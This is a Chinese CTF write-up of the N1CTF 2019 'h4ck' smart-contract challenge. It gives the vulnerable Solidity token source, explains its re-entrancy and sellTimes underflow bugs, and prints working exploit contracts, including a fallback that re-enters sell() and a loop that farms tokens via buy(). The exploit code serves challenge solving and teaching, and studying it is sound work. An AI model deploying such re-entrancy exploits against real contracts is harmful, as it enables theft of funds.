Re-Entrancy(2)-N1CTF2019_h4ck

Re-Entrancy(2)

wiki部分

什么是重入攻击

假设有两个合约A和合约B,合约A调用合约B。在这种攻击中,当第一个调用仍在执行时,合约B调用合约A,这在某种程度上导致了一个循环。

每当我们将以太坊发送到智能合约地址时,我们都会调用我们所说的fallback函数。

wp

N1CTF 2019 h4ck

题目合约0xB616eBC25E1E9Cfbf6C82Ab66888926bfB0101a6
攻击合约0x8Ebd3958CeA078271cce190b6be6e2d73c37a1A2
源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
pragma solidity ^0.4.25;

contract owned {
address public owner;

constructor ()
public {
owner = msg.sender;
}

modifier onlyOwner {
require(msg.sender == owner);
_;
}

function transferOwnership(address newOwner) public
onlyOwner {
owner = newOwner;
}
}

contract challenge is owned{

string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;

mapping (address => uint256) public balanceOf;
mapping (address => uint256) public sellTimes;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public winner;

event Transfer(address _from, address _to, uint256 _value);
event Burn(address _from, uint256 _value);
event Win(address _address,bool _win);


constructor (
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}

function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(_value > 0);

uint256 oldFromBalance = balanceOf[_from];
uint256 oldToBalance = balanceOf[_to];

uint256 newFromBalance = balanceOf[_from] - _value;
uint256 newToBalance = balanceOf[_to] + _value;

require(oldFromBalance >= _value);
require(newToBalance > oldToBalance);

balanceOf[_from] = newFromBalance;
balanceOf[_to] = newToBalance;

assert((oldFromBalance + oldToBalance) == (newFromBalance + newToBalance));
emit Transfer(_from, _to, _value);
}

function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}

function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}

function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}

function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}

function balanceOf(address _address) public view returns (uint256 balance) {
return balanceOf[_address];
}

function buy() payable public returns (bool success){
require(balanceOf[msg.sender]==0);
require(msg.value == 1 wei);
_transfer(address(this), msg.sender, 1);
sellTimes[msg.sender] = 1;
return true;
}


function sell(uint256 _amount) public returns (bool success){
require(_amount >= 100);
require(sellTimes[msg.sender] > 0);
require(balanceOf[msg.sender] >= _amount);
require(address(this).balance >= _amount);
msg.sender.call.value(_amount)();
_transfer(msg.sender, address(this), _amount);
sellTimes[msg.sender] -= 1;
return true;
}

function winnerSubmit() public returns (bool success){
require(winner[msg.sender] == false);
require(sellTimes[msg.sender] > 100);
winner[msg.sender] = true;
emit Win(msg.sender,true);
return true;
}

function kill(address _address) public onlyOwner {
selfdestruct(_address);
}

function eth_balance() public view returns (uint256 ethBalance){
return address(this).balance;
}

}

分析

最终目的是调用到winnerSubmit函数,但它有两个require限制。第一个限制本来就是满足的,主要是第二个限制条件需要达到。

1
2
require(winner[msg.sender] == false);
require(sellTimes[msg.sender] > 100);

sellbuy函数中都有对sellTimes增加的操作。
buy函数中存在薅羊毛攻击,同时要求每次调用时传1 wei,然后让sellTimes[msg.sender] = 1。

sell函数中明显存在一个重入攻击,但有四个条件限制。限制了如下操作:

  • 限制了调用函数时参数amount>=100
  • sellTimes[msg.sender] > 0 可以先调用buy即可
  • 这个限制可以先通过第三方攻击合约薅羊毛攻击然后调用transfer转账给攻击账户即可
  • 题目合约的balance本身就是很大的。

达到条件后最后会进行sellTimes[msg.sender] -= 1;操作,这里很明显存在溢出,溢出之后就能达到winnerSubmit函数的第二个条件了。

1
2
3
4
require(_amount >= 100);
require(sellTimes[msg.sender] > 0);
require(balanceOf[msg.sender] >= _amount);
require(address(this).balance >= _amount);

攻击

部署攻击合约,攻击合约需要先调用一次buy1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.24;

import "./source.sol";
contract exp {

address instance_address = 0xB616eBC25E1E9Cfbf6C82Ab66888926bfB0101a6;
challenge target = challenge(instance_address);
bool status = false;
uint have_withdraw = 3;
constructor() payable {

}
function buy1(){
target.buy.value(1)();
}
function pay() public {
// withdraw
if(have_withdraw >= 0 ){
target.sell(uint(100));
have_withdraw = have_withdraw -1 ;
}

}
function getflag(){
target.winnerSubmit();
}

function() payable {
target.sell(uint(100));
}
}

部署薅羊毛合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.4.24;

import "./source.sol";
contract Hunting {
address instance_address = 0xB616eBC25E1E9Cfbf6C82Ab66888926bfB0101a6;
challenge target = challenge(instance_address);

constructor() payable {

}
function buy1() payable{
target.buy.value(1)();
}

function transfer1() {
target.transfer(address(0x8Ebd3958CeA078271cce190b6be6e2d73c37a1A2) , 1);
}
function Hunt() {
for ( int i = 0; i < 100 ; i++){
buy1();
transfer1();
}
}
function get() public view returns (uint256 balance) {
return address(this).balance;
}

function getBalance() public view returns (uint256 balance) {
return target.balanceOf(address(this));
}
}

调用hunt函数,调用三次能让balance+300以便重入攻击的次数足够让sellTimes溢出

此时攻击合约的balance应该是301.

然后调用攻击合约的pay函数继续重入攻击,可以看到此时已经溢出

最后调用getflag即可,查看题目合约的events即可看到调用成功。

总结

在看这题的时候,题目的逻辑捋的比以前更快了,不过这题的逻辑确实也比较简单,有几个函数都用不上,思路也比较清晰。以后得多用本地调试,真的很好用,除了第一次调试的时候看着一堆opcode头皮发麻,但后面对着opcode表调试勉强能看懂了。